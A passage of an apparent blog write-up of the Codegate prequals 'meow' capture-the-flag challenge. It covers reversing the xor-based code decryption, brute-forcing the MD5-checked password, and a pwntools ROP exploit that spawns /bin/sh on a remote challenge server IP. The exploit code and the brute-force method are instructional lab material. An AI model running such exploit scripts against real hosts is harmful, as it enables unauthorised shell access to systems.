<figure class="highlight c"><figcaption><span>sub_D1D</span></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br>25<br>26<br>27<br>28<br>29<br>30<br>31<br>32<br>33<br>34<br>35<br>36<br>37<br>38<br>39<br>40<br>41<br>42<br>43<br>44<br>45<br>46<br>47<br>48<br>49<br>50<br>51<br>52<br>53<br>54<br>55<br>56<br>57<br>58<br>59<br>60<br>61<br>62<br>63<br>64<br>65<br>66<br>67<br>68<br>69<br>70<br>71<br>72<br>73<br>74<br>75<br>76<br>77<br>78<br>79<br>80<br>81<br>82<br>83<br>84<br>85<br>86<br>87<br>88<br>89<br>90<br>91<br>92<br>93<br></pre></td><td class="code"><pre>v14 = <span class="hljs-number">0</span>;<br>j = <span class="hljs-number">0</span>;<br>v19 = <span class="hljs-number">4</span>;<br>v18 = <span class="hljs-number">5</span>;<br>v17 = <span class="hljs-number">3</span>;<br>v13 = <span class="hljs-number">10</span>;<br>v12 = <span class="hljs-number">5</span>;<br>v11 = <span class="hljs-number">7</span>;<br>v16 = <span class="hljs-number">0</span>;<br>v15 = a3;<br>v9 = <span class="hljs-number">0L</span>L;<br>v10 = <span class="hljs-number">0</span>;<br>v7 = <span class="hljs-number">0</span>;<br>v8 = <span class="hljs-number">0</span>;<br>v4 = <span class="hljs-number">0</span>;<br>v5 = <span class="hljs-number">0</span>;<br>v6 = <span class="hljs-number">0</span>;<br><span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; a3 - a3 % v11 &gt; i; i += v11 )<br>&#123;<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; j &lt; v17; ++j )<br>    *((<span class="hljs-number">_B</span>YTE *)&amp;v4 + j) = *(<span class="hljs-number">_B</span>YTE *)(j + v16 + initial_content);<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; v11 - v17 &gt; j; ++j )<br>    *((<span class="hljs-number">_B</span>YTE *)&amp;v4 + j + v17) = *(<span class="hljs-number">_B</span>YTE *)(v17 + v15 - v11 + j + initial_content);<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; j &lt; v11; ++j )<br>    *((<span class="hljs-number">_B</span>YTE *)&amp;v4 + j) ^= *(<span class="hljs-number">_B</span>YTE *)(j + user_input);  <span class="hljs-comment">// user input</span><br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; j &lt; v17; ++j )<br>    *(<span class="hljs-number">_B</span>YTE *)(initial_content + j + v16) = *((<span class="hljs-number">_B</span>YTE *)&amp;v4 + j + v11 - v17);<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; v11 - v17 &gt; j; ++j )<br>    *(<span class="hljs-number">_B</span>YTE *)(initial_content + v17 + v15 - v11 + j) = *((<span class="hljs-number">_B</span>YTE *)&amp;v4 + j);<br>  v16 += v17;<br>  v15 -= v11 - v17;<br>  v17 += <span class="hljs-number">2</span>;<br>  <span class="hljs-keyword">if</span> ( v17 == <span class="hljs-number">9</span> )<br>    v17 = <span class="hljs-number">3</span>;<br>&#125;<br>v16 = <span class="hljs-number">0</span>;<br>v15 = a3;<br><span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; a3 - a3 % v12 &gt; i; i += v12 )<br>&#123;<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; j &lt; v18; ++j )<br>    *((<span class="hljs-number">_B</span>YTE *)&amp;v7 + j) = *(<span class="hljs-number">_B</span>YTE *)(j + v16 + initial_content);<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; v12 - v18 &gt; j; ++j )<br>    *((<span class="hljs-number">_B</span>YTE *)&amp;v7 + j + v18) = *(<span class="hljs-number">_B</span>YTE *)(v18 + v15 - v12 + j + initial_content);<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; j &lt; v12; ++j )<br>    *((<span class="hljs-number">_B</span>YTE *)&amp;v7 + j) ^= *(<span class="hljs-number">_B</span>YTE *)(<span class="hljs-number">2</span> * j + <span class="hljs-number">1L</span>L + user_input);  <span class="hljs-comment">// user input</span><br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; j &lt; v18; ++j )<br>    *(<span class="hljs-number">_B</span>YTE *)(initial_content + j + v16) = *((<span class="hljs-number">_B</span>YTE *)&amp;v7 + j + v12 - v18);<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; v12 - v18 &gt; j; ++j )<br>    *(<span class="hljs-number">_B</span>YTE *)(initial_content + v18 + v15 - v12 + j) = *((<span class="hljs-number">_B</span>YTE *)&amp;v7 + j);<br>  v16 += v18;<br>  v15 -= v12 - v18--;<br>  <span class="hljs-keyword">if</span> ( !v18 )<br>    v18 = <span class="hljs-number">5</span>;<br>&#125;<br>v16 = <span class="hljs-number">0</span>;<br>v15 = a3;<br><span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; a3 - a3 % v13 &gt; i; i += v13 )<br>&#123;<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; j &lt; v19; ++j )<br>    *((<span class="hljs-number">_B</span>YTE *)&amp;v9 + j) = *(<span class="hljs-number">_B</span>YTE *)(j + v16 + initial_content);<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; v13 - v19 &gt; j; ++j )<br>    *((<span class="hljs-number">_B</span>YTE *)&amp;v9 + j + v19) = *(<span class="hljs-number">_B</span>YTE *)(v19 + v15 - v13 + j + initial_content);<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; j &lt; v13; ++j )<br>    *((<span class="hljs-number">_B</span>YTE *)&amp;v9 + j) ^= *(<span class="hljs-number">_B</span>YTE *)(j + user_input);  <span class="hljs-comment">// user input</span><br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; j &lt; v19; ++j )<br>    *(<span class="hljs-number">_B</span>YTE *)(initial_content + j + v16) = *((<span class="hljs-number">_B</span>YTE *)&amp;v9 + j + v13 - v19);<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; v13 - v19 &gt; j; ++j )<br>    *(<span class="hljs-number">_B</span>YTE *)(initial_content + v19 + v15 - v13 + j) = *((<span class="hljs-number">_B</span>YTE *)&amp;v9 + j);<br>  v16 += v19;<br>  v15 -= v13 - v19++;<br>  <span class="hljs-keyword">if</span> ( v19 == <span class="hljs-number">9</span> )<br>    v19 = <span class="hljs-number">4</span>;<br>&#125;<br>v16 = <span class="hljs-number">0</span>;<br>v15 = a3;<br>v19 = <span class="hljs-number">4</span>;<br><span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; a3 - a3 % v13 &gt; i; i += v13 )<br>&#123;<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; j &lt; v19; ++j )<br>    *((<span class="hljs-number">_B</span>YTE *)&amp;v9 + j) = *(<span class="hljs-number">_B</span>YTE *)(j + v16 + initial_content);<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; v13 - v19 &gt; j; ++j )<br>    *((<span class="hljs-number">_B</span>YTE *)&amp;v9 + j + v19) = *(<span class="hljs-number">_B</span>YTE *)(v19 + v15 - v13 + j + initial_content);<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; j &lt; v13; ++j )<br>    *((<span class="hljs-number">_B</span>YTE *)&amp;v9 + j) ^= *(<span class="hljs-number">_B</span>YTE *)(j + user_input);  <span class="hljs-comment">// user input</span><br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; j &lt; v19; ++j )<br>    *(<span class="hljs-number">_B</span>YTE *)(initial_content + j + v16) = *((<span class="hljs-number">_B</span>YTE *)&amp;v9 + j + v13 - v19);<br>  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; v13 - v19 &gt; j; ++j )<br>    *(<span class="hljs-number">_B</span>YTE *)(initial_content + v19 + v15 - v13 + j) = *((<span class="hljs-number">_B</span>YTE *)&amp;v9 + j);<br>  v16 += v19;<br>  v15 -= v13 - v19++;<br>  <span class="hljs-keyword">if</span> ( v19 == <span class="hljs-number">9</span> )<br>    v19 = <span class="hljs-number">4</span>;<br>&#125;<br></pre></td></tr></table></figure>
<p>The decompiled code is quite complicated, but we can see that the user’s input is only involved in some xor operations. Maybe we can find out what this code snippet does by observing the input and the output of it. To do this, I first patched the md5 checking and input <code>&#39;\x00&#39;*10</code> to see what is the effect without user’s input through <code>gdb</code>.</p>
<figure class="highlight plain"><table><tr><td class="code"><pre>input:<br>f1 64 72 4a 4f 48 4d ba 77 73 1d 34 f5 af b8 0f<br>24 56 11 65 47 a3 2f 73 a4 56 4f 70 4a 13 57 9c<br>3f 6f 06 61 40 90 af 39 10 29 34 c3 00 7a 40 3d<br>4e 3f 0e 2a 2f 20 7f 73 89 7d 4b 1d 09 aa d0 00<br>21 89 4d 2a 67 7c 18 3b 39 f2 8d 1c a7 71 57 2e<br>31 14 67 48 3c 7d af 70 ae 10 31 68 d1 26 05 c8<br>25 f2 62 f5 5d 38 34 f2 20 0e 7e 9f fb 57 72 26<br>57 67 15 10 15 13 b9 3e 79 89 5d 24 12 01 98 7b<br>18 25 e0 df 7c 24 1b 2d 44 b0 10 3d 57 3d 62 b4<br>21 1d 3e d1 10 d7 45 74 96 2b 6d 3b ed 10 00 67<br>31 df 6c b8 86 1a 7c 6b 64 78 c6 37 76 e6 61 a0<br>ad be 4c ba a7 0d<br><br>output:<br>0d 48 f5 af 4d ad be 77 4c a4 56 34 64 72 4f 37<br>31 6f 70 e6 61 a0 11 9c 3f 06 13 3d 73 65 78 61<br>34 c3 40 86 1a af 40 7f 73 29 3f 7a 6d 67 68 d1<br>7d df 6c b8 71 2e 1c 62 1d 31 20 10 10 89 39 f2<br>4d 96 2b 67 05 3c 7d 3b 44 26 7e d1 01 98 70 d7<br>45 74 79 25 24 7b 10 24 48 89 1d c8 34 f2 25 57<br>3d 62 7c 26 57 38 3e df 13 b0 10 b9 10 3d 72 1b<br>20 2d 67 15 15 f5 5d f2 b4 21 af 12 31 14 3e 9f<br>57 ae 18 67 8d 5d e0 fb 0e 7c 18 2a 3b ed 89 a7<br>0e 2a 00 4e aa 4b 57 2f 00 00 21 09 d0 39 10 90<br>6b 64 4f 7c 47 a3 c6 f1 76 4a 57 2f b8 0f 24 56<br>4a 73 1d ba ba a7<br></pre></td></tr></table></figure>
<p>If we observe the input and the output carefully, we would find that the code is only shuffling the input. Then, it is time to exam the effect of the user’s input. Using the same procedure, we can easily find that every byte of user’s input is xor with some fixed bytes of data, so I wrote a script to visualize this operation.</p>
<figure class="highlight python"><figcaption><span>find_pattern.py</span><a href="/2017/02/20/meow/find_pattern.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br>25<br>26<br>27<br>28<br>29<br>30<br>31<br>32<br>33<br>34<br>35<br>36<br>37<br>38<br>39<br>40<br>41<br>42<br>43<br>44<br>45<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><span class="hljs-keyword">from</span> termcolor <span class="hljs-keyword">import</span> colored<br><span class="hljs-keyword">import</span> re<br><br>context.log_level = <span class="hljs-string">'error'</span><br><br>gdb_prompt = <span class="hljs-string">'\x01\x1b[1m\x1b[31m\x02pwndbg&gt; \x01\x1b[0m\x1b[1m\x1b[0m\x02'</span><br>decrypted = []<br><br><span class="hljs-comment"># Launch the process and gdb. Then, dump the data after decryption.</span><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">11</span>):<br>    gdb = process([<span class="hljs-string">'gdb'</span>, <span class="hljs-string">'-q'</span>])<br>    gdb.recvuntil(gdb_prompt, drop=<span class="hljs-keyword">True</span>)<br><br>    meow = process(<span class="hljs-string">'meow'</span>)<br>    gdb.sendline(<span class="hljs-string">'attach '</span> + str(meow.proc.pid))<br>    gdb.recvuntil(gdb_prompt, drop=<span class="hljs-keyword">True</span>)<br><br>    gdb.sendline(<span class="hljs-string">'b *0x55555555568b'</span>)<br>    gdb.recvuntil(gdb_prompt, drop=<span class="hljs-keyword">True</span>)<br><br>    key = bytearray(<span class="hljs-string">'\x00'</span>*<span class="hljs-number">10</span>)<br>    <span class="hljs-keyword">if</span> i != <span class="hljs-number">0</span>:<br>        key[i<span class="hljs-number">-1</span>] = <span class="hljs-string">'\x01'</span><br>    meow.sendline(key)<br><br>    gdb.sendline(<span class="hljs-string">'continue'</span>)<br>    gdb.recvuntil(gdb_prompt, drop=<span class="hljs-keyword">True</span>)<br><br>    gdb.sendline(<span class="hljs-string">'db $rdi 182'</span>)<br>    decrypted.append(re.findall(<span class="hljs-string">r'\b\S\S\b'</span>, gdb.recvuntil(gdb_prompt, drop=<span class="hljs-keyword">True</span>)))<br><br>    gdb.close()<br>    meow.close()<br><br><span class="hljs-comment"># Compare the original data with data decrypted by differnt keys.</span><br><span class="hljs-keyword">print</span> <span class="hljs-string">'    0  1  2  3  4  5  6  7  8  9'</span><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(decrypted[<span class="hljs-number">0</span>])):<br>    <span class="hljs-keyword">print</span> decrypted[<span class="hljs-number">0</span>][i],<br>    <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(<span class="hljs-number">1</span>, <span class="hljs-number">11</span>):<br>        <span class="hljs-keyword">if</span> decrypted[<span class="hljs-number">0</span>][i] != decrypted[j][i]:<br>            <span class="hljs-keyword">print</span> colored(decrypted[j][i], <span class="hljs-string">'red'</span>),<br>        <span class="hljs-keyword">else</span>:<br>            <span class="hljs-keyword">print</span> decrypted[j][i],<br>    <span class="hljs-keyword">print</span> <span class="hljs-string">''</span><br></pre></td></tr></table></figure>
<p>The output would looks like (only portion):</p>
<img src="/2017/02/20/meow/pattern.png" alt="pattern.png" title="">
<p>Data affected by the nth byte of user’s input are highlighted. Now, we know how the “decryption” works. If we also know what the decrypted code should be, we can derive the input inversely. Unfortunately, we have no clue about the decrypted code. However, it is reasonable to guess that the prologue and epilogue should be the standard <code>push rbp; mov rbp, rsp;</code> and <code>leave; ret;</code>. With only these bytes of information, we can establish several relations between bytes of user’s input and shrink the search space of md5 to a small range. (By the way, these relations suggest that the MSB of the xor of any two bytes of user’s input is <code>0</code>, so I boldly guess that the input is printable.)</p>
<p>I wrote a C code to brute force the correct user’s input, which is <code>$W337k!++y</code>.</p>
<figure class="highlight c"><figcaption><span>bruteforce.c</span><a href="/2017/02/20/meow/bruteforce.c">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br>25<br>26<br>27<br>28<br>29<br>30<br>31<br>32<br>33<br>34<br>35<br>36<br>37<br>38<br>39<br>40<br></pre></td><td class="code"><pre><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;string.h&gt;</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;openssl/md5.h&gt;</span></span><br><br><span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span>* TARGET = <span class="hljs-string">"\x9f\x46\xa9\x24\x22\x65\x8f\x61\xa8\x0d\xde\xe7\x8e\x7d\xb9\x14"</span>;<br><br><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{<br>  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> result[MD5_DIGEST_LENGTH];<br><br>  <span class="hljs-keyword">char</span> <span class="hljs-built_in">string</span>[<span class="hljs-number">11</span>] = {<span class="hljs-number">0</span>};<br><br>  <span class="hljs-keyword">for</span>(<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> i = <span class="hljs-number">0x20</span>; i &lt;= <span class="hljs-number">0x7e</span>; i++) {<br>      <span class="hljs-built_in">printf</span>(<span class="hljs-string">"input[2] = 0x%02x\n"</span>, i);<br>      <span class="hljs-keyword">for</span>(<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> j = <span class="hljs-number">0x20</span>; j &lt;= <span class="hljs-number">0x7e</span>; j++) {<br>          <span class="hljs-keyword">for</span>(<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> k = <span class="hljs-number">0x20</span>; k &lt;= <span class="hljs-number">0x7e</span>; k++) {<br>              <span class="hljs-keyword">for</span>(<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> l = <span class="hljs-number">0x20</span>; l &lt;= <span class="hljs-number">0x7e</span>; l++) {<br>                  <span class="hljs-built_in">string</span>[<span class="hljs-number">2</span>] = i;<br>                  <span class="hljs-built_in">string</span>[<span class="hljs-number">5</span>] = <span class="hljs-built_in">string</span>[<span class="hljs-number">2</span>] ^ <span class="hljs-number">0b01011000</span>;<br>                  <span class="hljs-built_in">string</span>[<span class="hljs-number">3</span>] = <span class="hljs-built_in">string</span>[<span class="hljs-number">2</span>];<br>                  <span class="hljs-built_in">string</span>[<span class="hljs-number">9</span>] = <span class="hljs-built_in">string</span>[<span class="hljs-number">3</span>] ^ <span class="hljs-number">0b01001010</span>;<br>                  <span class="hljs-built_in">string</span>[<span class="hljs-number">1</span>] = <span class="hljs-built_in">string</span>[<span class="hljs-number">3</span>] ^ <span class="hljs-number">0b01100100</span>;<br>                  <span class="hljs-built_in">string</span>[<span class="hljs-number">8</span>] = <span class="hljs-built_in">string</span>[<span class="hljs-number">1</span>] ^ <span class="hljs-number">0b01111100</span>;<br>                  <span class="hljs-built_in">string</span>[<span class="hljs-number">0</span>] = <span class="hljs-built_in">string</span>[<span class="hljs-number">1</span>] ^ <span class="hljs-number">0b01110011</span>;<br><br>                  <span class="hljs-built_in">string</span>[<span class="hljs-number">4</span>] = j;<br>                  <span class="hljs-built_in">string</span>[<span class="hljs-number">6</span>] = k;<br>                  <span class="hljs-built_in">string</span>[<span class="hljs-number">7</span>] = l;<br><br>                  MD5(<span class="hljs-built_in">string</span>, <span class="hljs-number">10</span>, result);<br>                  <span class="hljs-keyword">if</span>(<span class="hljs-built_in">strncmp</span>(result, TARGET, <span class="hljs-number">16</span>) == <span class="hljs-number">0</span>) {<br>                      <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n"</span>, <span class="hljs-built_in">string</span>);<br>                  }<br>              }<br>          }<br>      }<br>  }<br><br>  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></pre></td></tr></table></figure>
<p>After providing the correct input, the challenge is still not finished.</p>
<figure class="highlight plain"><table><tr><td class="code"><pre>***** hello? *****<br>&gt;&gt;&gt; $W337k!++y<br>- What kind of pet would you like to have?<br>- Select the number of pet!<br>1. angelfish<br>2. bear<br>3. cat<br>4. dog<br>5. I don&apos;t want pets<br># number = 3<br>Did you choose a cat?????<br>What type of cat would you prefer? &apos;0&apos;<br>&gt;&gt;&gt;<br></pre></td></tr></table></figure>
<p>The decrypted code is:</p>
<figure class="highlight x86asm"><figcaption><span>First part of decrypted code</span></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br>25<br>26<br>27<br>28<br>29<br>30<br>31<br>32<br>33<br>34<br>35<br>36<br>37<br>38<br>39<br>40<br>41<br>42<br>43<br>44<br></pre></td><td class="code"><pre><span class="hljs-keyword">push</span>   <span class="hljs-built_in">rbp</span><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">rbp</span>,<span class="hljs-built_in">rsp</span><br><span class="hljs-keyword">sub</span>    <span class="hljs-built_in">rsp</span>,<span class="hljs-number">0x60</span><br>movabs <span class="hljs-built_in">rax</span>,<span class="hljs-number">0x20756f7920646944</span><br><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">QWORD</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x60</span>],<span class="hljs-built_in">rax</span><br>movabs <span class="hljs-built_in">rax</span>,<span class="hljs-number">0x612065736f6f6863</span><br><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">QWORD</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x58</span>],<span class="hljs-built_in">rax</span><br>movabs <span class="hljs-built_in">rax</span>,<span class="hljs-number">0x3f3f3f3f74616320</span><br><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">QWORD</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x50</span>],<span class="hljs-built_in">rax</span><br>movabs <span class="hljs-built_in">rax</span>,<span class="hljs-number">0x7420746168570a3f</span><br><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">QWORD</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x48</span>],<span class="hljs-built_in">rax</span><br>movabs <span class="hljs-built_in">rax</span>,<span class="hljs-number">0x6320666f20657079</span><br><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">QWORD</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x40</span>],<span class="hljs-built_in">rax</span><br>movabs <span class="hljs-built_in">rax</span>,<span class="hljs-number">0x646c756f77207461</span><br><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">QWORD</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x38</span>],<span class="hljs-built_in">rax</span><br>movabs <span class="hljs-built_in">rax</span>,<span class="hljs-number">0x65727020756f7920</span><br><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">QWORD</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x30</span>],<span class="hljs-built_in">rax</span><br>movabs <span class="hljs-built_in">rax</span>,<span class="hljs-number">0x273027203f726566</span><br><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">QWORD</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x28</span>],<span class="hljs-built_in">rax</span><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">DWORD</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x20</span>],<span class="hljs-number">0x3e3e3e0a</span><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x1c</span>],<span class="hljs-number">0x0</span><br><span class="hljs-keyword">lea</span>    <span class="hljs-built_in">rax</span>,[<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x60</span>]<br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">edx</span>,<span class="hljs-number">0x44</span><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">rsi</span>,<span class="hljs-built_in">rax</span><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">edi</span>,<span class="hljs-number">0x1</span><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">eax</span>,<span class="hljs-number">0x1</span><br><span class="hljs-keyword">syscall</span><br><span class="hljs-keyword">lea</span>    <span class="hljs-built_in">rax</span>,[<span class="hljs-built_in">rbp</span>+<span class="hljs-number">0x8</span>]<br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">edx</span>,<span class="hljs-number">0x18</span><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">rsi</span>,<span class="hljs-built_in">rax</span><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">edi</span>,<span class="hljs-number">0x0</span><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">eax</span>,<span class="hljs-number">0x0</span><br><span class="hljs-keyword">syscall</span><br><span class="hljs-keyword">nop</span><br><span class="hljs-keyword">leave</span><br><span class="hljs-keyword">ret</span><br></pre></td></tr></table></figure>
<p>It reads <code>0x18</code> bytes to the return address just before returning, which means we have a three-gadget ROP. Since this is a PIE binary, and we don’t have any information leak, and the ROP chain is extremely short, it seems that we can basically do nothing. Nevertheless, the author of the program has deliberately put the exact three gadgets that we need in the second part of the data. Because the second part of the data is located in a mmaped memory of which address is known, we can easily use them to launch the shell.</p>
<figure class="highlight x86asm"><figcaption><span>Second part of decrypted code</span></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br></pre></td><td class="code"><pre><span class="hljs-keyword">push</span>   <span class="hljs-built_in">rbp</span><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">rbp</span>, <span class="hljs-built_in">rsp</span><br><span class="hljs-keyword">sub</span>    <span class="hljs-built_in">rsp</span>, <span class="hljs-number">0x10</span><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">qword</span> <span class="hljs-built_in">ptr</span> [<span class="hljs-built_in">rbp</span> - <span class="hljs-number">8</span>], <span class="hljs-built_in">rdi</span><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">rax</span>, <span class="hljs-built_in">qword</span> <span class="hljs-built_in">ptr</span> [<span class="hljs-built_in">rbp</span> - <span class="hljs-number">8</span>]<br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">edx</span>, <span class="hljs-number">0</span><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">esi</span>, <span class="hljs-number">0</span><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">rdi</span>, <span class="hljs-built_in">rax</span><br><span class="hljs-keyword">mov</span>    <span class="hljs-built_in">eax</span>, <span class="hljs-number">0x3b</span><br><span class="hljs-keyword">syscall</span><br><span class="hljs-keyword">nop</span><br><span class="hljs-keyword">leave</span><br><span class="hljs-keyword">ret</span><br><span class="hljs-meta">.byte</span> <span class="hljs-number">0x00</span><br><span class="hljs-meta">.byte</span> <span class="hljs-number">0x00</span><br><span class="hljs-meta">.ascii</span> <span class="hljs-string">'/bin/sh'</span><br><span class="hljs-meta">.byte</span> <span class="hljs-number">0x00</span><br><span class="hljs-meta">.byte</span> <span class="hljs-number">0x00</span><br><span class="hljs-meta">.byte</span> <span class="hljs-number">0x00</span><br><span class="hljs-meta">.byte</span> <span class="hljs-number">0x00</span><br><span class="hljs-meta">.byte</span> <span class="hljs-number">0x00</span><br><span class="hljs-meta">.byte</span> <span class="hljs-number">0x00</span><br><span class="hljs-keyword">pop</span>    <span class="hljs-built_in">rdi</span><br><span class="hljs-keyword">ret</span><br></pre></td></tr></table></figure>
<p>The exploit script is as follows.</p>
<figure class="highlight python"><figcaption><span>meow_exp.py</span><a href="/2017/02/20/meow/meow_exp.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><span class="hljs-keyword">from</span> time <span class="hljs-keyword">import</span> sleep<br><br>context.terminal = [<span class="hljs-string">'tmux'</span>, <span class="hljs-string">'splitw'</span>, <span class="hljs-string">'-h'</span>]<br>context.arch = <span class="hljs-string">'x86_64'</span><br><br>pop_rdi = <span class="hljs-number">0x14036</span><br>bin_sh = <span class="hljs-number">0x14029</span><br>execve = <span class="hljs-number">0x14000</span><br><br><span class="hljs-comment">#  r = process('./meow')</span><br><span class="hljs-comment">#  gdb.attach(r, '''</span><br><span class="hljs-comment">#  ''')</span><br>r = remote(<span class="hljs-string">'110.10.212.139'</span>, <span class="hljs-number">50410</span>)<br><br>r.sendline(<span class="hljs-string">'$W337k!++y'</span>)<br><span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'= '</span>)<br>r.sendline(<span class="hljs-string">'3'</span>)<br><span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'&gt;&gt;&gt;'</span>)<br>r.send(flat(pop_rdi, bin_sh, execve))<br><br>r.interactive()<br></pre></td></tr></table></figure>
<blockquote>
<p>Flag: <code>flag{what a lovely kitty!}</code></p>
</blockquote>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;Meow~Meow~&lt;br&gt;&lt;a href
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="pwn" scheme="https://poning.me/tags/pwn/"/>
    
      <category term="Codegate prequals" scheme="https://poning.me/tags/Codegate-prequals/"/>
    
      <category term="reverse" scheme="https://poning.me/tags/reverse/"/>
    
  </entry>
  
